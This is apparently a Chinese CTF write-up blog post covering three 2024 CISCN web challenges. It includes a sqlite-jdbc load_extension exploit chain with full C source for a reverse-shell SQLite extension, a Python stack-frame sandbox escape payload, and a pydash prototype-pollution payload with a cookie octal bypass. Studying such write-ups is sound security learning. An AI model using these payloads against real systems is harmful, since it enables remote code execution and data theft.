首页 > 其他分享 >2024 CISCN WEB 部分wp

2024 CISCN WEB 部分wp

时间:2024-05-23 13:18:34浏览次数:16  
标签:WEB sqlite jdbc CISCN extension db back 2024 include

前言

第二天的revenge真是绷不住,出的很好,下次多出点revenge。

ezjava

简要介绍

sqlite jdbc...真的没想到,写文件覆盖写了半天,结果是个CVE...,给的很多东西都是幌子

原理是通过控制jdbc语句和sql语句的执行来达到加载恶意so/dll达成rce的目的,这两个条件就很苛刻了,所以算是个比较鸡肋的漏洞,刚好题目环境能够控制jdbc语句和sql执行

image

url是jdbc语句,tableName直接拼接进sql中执行,题目逻辑很简单,我们回到sqlite的CVE,通过执行jdbc:sqlite::resource:http://ip:port/poc.db ,会在/tmp目录下生成一个缓存文件,名称格式是sqlite-jdbc-tmp-?????? ,这个名称是可以计算出来的,计算方法:new URL(url).hashCode()+'.db' ,读取传入的url的hashCode,再拼接.db 就是名称了,所以我们可以创建一个恶意sqlite db文件,执行sql语句:CREATE VIEW security as SELECT ( SELECT load_extension('/tmp/sqlite-jdbc-tmp--1886741859.db')); ,这里写入了load_extension来加载恶意的so,/tmp/sqlite-jdbc-tmp--1886741859.db 是我们传入的恶意so的url在tmp目录下生成的缓存文件,所以我们得提前计算好这个名称

攻击流程

第一步打入恶意so文件的缓存文件

image

第二步创建恶意sqlite db文件,可以利用navicat创建sqlite db文件,然后执行上面给出的sql语句

第三步打入恶意sqlite db文件的缓存文件

image

第四步开启load_extension,并加载我们的恶意sqlite db文件生成的缓存文件

image

上面忘了说了,sqlite jdbc的特性,传入的参数会被PRAGMA执行,比如我们这里传入的是enable_load_extension=true,那么就会执行PRAGMA enable_load_extension=true ,也就开启了load_extension功能。

给个恶意so文件生成c代码:

/* Add your header comment here */
#include <sqlite3ext.h> /* Do not use <sqlite3.h>! */
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <signal.h>
#include <dirent.h>
#include <sys/stat.h>
SQLITE_EXTENSION_INIT1

/* Insert your extension code here */
int tcp_port = port;
char *ip = "ip";

#ifdef _WIN32
__declspec(dllexport)
#endif

int sqlite3_extension_init(
  sqlite3 *db, 
  char **pzErrMsg, 
  const sqlite3_api_routines *pApi
){
  int rc = SQLITE_OK;
  SQLITE_EXTENSION_INIT2(pApi);

  int fd;
  if ( fork() <= 0){
    struct sockaddr_in addr;
    addr.sin_family = AF_INET;
    addr.sin_port = htons(tcp_port);
    addr.sin_addr.s_addr = inet_addr(ip);

    fd = socket(AF_INET, SOCK_STREAM, 0);
    if ( connect(fd, (struct sockaddr*)&addr, sizeof(addr)) ){
            exit(0);
    }

    dup2(fd, 0);
    dup2(fd, 1);
    dup2(fd, 2);
    execve("/bin/bash", 0LL, 0LL);
}

  return rc;
}

以上4步就是完整的攻击流程了

mossfern

python栈帧沙箱逃逸,研究的好高端...根本没见过,等有空了开篇文章学习一下,可以先参考这篇文章:https://xz.aliyun.com/t/13635

这里就是栈帧逃逸出globals,在字段co_consts中获取到flag

import json
payload = '''def getflag():
    def f():
        yield g.gi_frame.f_back
    g = f()
    frame=[x for x in g][0]
    gattr = frame.f_back.f_back.f_back.f_locals['_'+'_builtins_'+'_']  
    code = frame.f_back.f_back.f_back.f_code 
    gattr_dir = gattr.dir
    s  = gattr.str
    print(gattr_dir(code))
    for i in s(code.co_consts):
        print(i,end=",")
getflag()'''

data = {
    "code": payload
}
print(json.dumps(data))

image

sanic

python原型链污染,当时卡死在第一步了,真是丢人,要求cookie中传入的user=adm;n,我们都知道分号;在cookie中是起分割作用的,所以肯定是不能直接传的,所以理所当然的会想到编码,当时试了unicode编码,十六进制都失败了,谁能想到是用8进制绕过..,user="adm\073n"

image

接下来就是很简单的原型链污染了,有个简单的waf,就是key中不能有__. 用\\绕过即可

{"key": "__init__\\\\.__globals__\\\\.__file__","value":"/etc/passwd"},为什么要这么绕过

image

跟进pydash.set_ 注意这个RE_PATH_KEY_DELIM.split ,按\\\\ 分割写入keys,跟默认的没有\\\\ 是一样的效果,所以并不影响最终的keys

这里我开的是ctfshow的环境,读/proc/1/environ拿到flag

总结

菜就多练...

标签:WEB,sqlite,jdbc,CISCN,extension,db,back,2024,include
From: https://www.cnblogs.com/F12-blog/p/18208215

相关文章

  • 引燃算力新基建,天翼云亮相DCIC2024第13届数据中心产业发展大会!
    近日,由中国通信企业协会主办的“第13届数据中心产业发展大会暨AIDC智能算力生态合作展览会”在北京顺利举行。现场展示了天翼云“AIDC”“紫金”“云骁”“息壤”等技术和平台能力;中国电信天翼云2023年智算资源池上海节点建设工程获得大会“算力基础设施高质量发展企业案例奖”;天......
  • Testing Egineer note:2024_4_27-day01-part02
    肖sir__软件测试之计算机基础_1.2软件测试之计算机基础1.硬件:计算机的硬件是计算机的各种设备的总称,硬件分为五个部分:(1)运行器(cpu)(2)控制器(主板)(3)存储器(硬盘)机械硬盘和固态硬盘(4)输入设备(键盘,鼠标)(5)输出设备(显示器,音响)2、软件:当电脑启动时的应用程序,应用软件(腾讯,qq,有道......
  • idea创建web项目
    创建web的jar包:file--module选择webapp添加参数:archetypeCatalog=internal;现实结果......
  • Windows 电源管理BUG--2024年5月22日了解
    目录注意:笔记本电脑一定不能拔电后长时间休眠,特别是11系统!!Win11休眠后的电源管理有bug,会将你的电池彻底用到激活电压以下,很有可能导致电池锁定(只能通过特定设备激活解锁).你的电脑就会永远进入0%电池状态,电池只能通过更换或激活(没有那个设备)才能恢复充电功能.问......
  • Run Llama 3 Locally with Ollama and Open WebUI
    Ollama3installhttps://dev.to/timesurgelabs/how-to-run-llama-3-locally-with-ollama-and-open-webui-297dhttps://medium.com/@blackhorseya/running-llama-3-model-with-nvidia-gpu-using-ollama-docker-on-rhel-9-0504aeb1c924DockerGPUAcceleratehttps://docs.do......
  • websocket和http的区别
    1、websocket1.1介绍WebSocket是一种实时通信协议,它允许客户端和服务器之间进行双向通信,而不需要每次请求都重新建立连接。WebSocket是HTML5中的新功能,它建立在HTTP协议之上,通过握手协议来建立持久化的连接。WebSocket的握手协议比HTTP的握手协议更简单,因为WebSocket......
  • 【专题】2024智慧医疗行业研究报告合集PDF分享(附原数据表)
    原文链接:https://tecdat.cn/?p=36230原文出处:拓端数据部落公众号医疗信息化正在以医疗服务需求不断升级的大背景下,融合大数据和人工智能等创新技术,不断扩展其范围和定义。从单一的院内信息化,逐步发展到区域间、不同机构间的数据互联互通与共享应用,涵盖的范围不再仅限于患者的病......
  • JOISC 2024 记录
    感觉我太滞后了Day1T1Fish3我们可以做的操作是单点加\(D\)和后缀加\(1\),考虑把这个操作放在差分数组上,则操作变成了:单点加\(1\)。\(i\)处加\(D\),\(i+1\)处\(-D\)。需要最小化第二种操作的使用次数,发现只有对于所有差分数组中的负数是不得不用第二种操作的,而对于......
  • 2024版Pycharm导入conda环境
    旧版与新版的区别大致就是旧版借用python.exe文件来导入虚拟环境,而现在的新版本需要借用Anaconda3文件中的condabin文件夹中的conda.bat文件来导入已创建的虚拟环境。(1)进入设置(2)选择interpreter  (3)选择conda环境 首先浏览到condabin的位置,选择conda;然后点击加载环境,而......
  • 2024-05-22:用go语言,你有一个包含 n 个整数的数组 nums。 每个数组的代价是指该数组中
    2024-05-22:用go语言,你有一个包含n个整数的数组nums。每个数组的代价是指该数组中的第一个元素的值。你的目标是将这个数组划分为三个连续且互不重叠的子数组。然后,计算这三个子数组的代价之和,要求返回这个和的最小值。输入:nums=[1,2,3,12]。输出:6。答案2024-05-22:cha......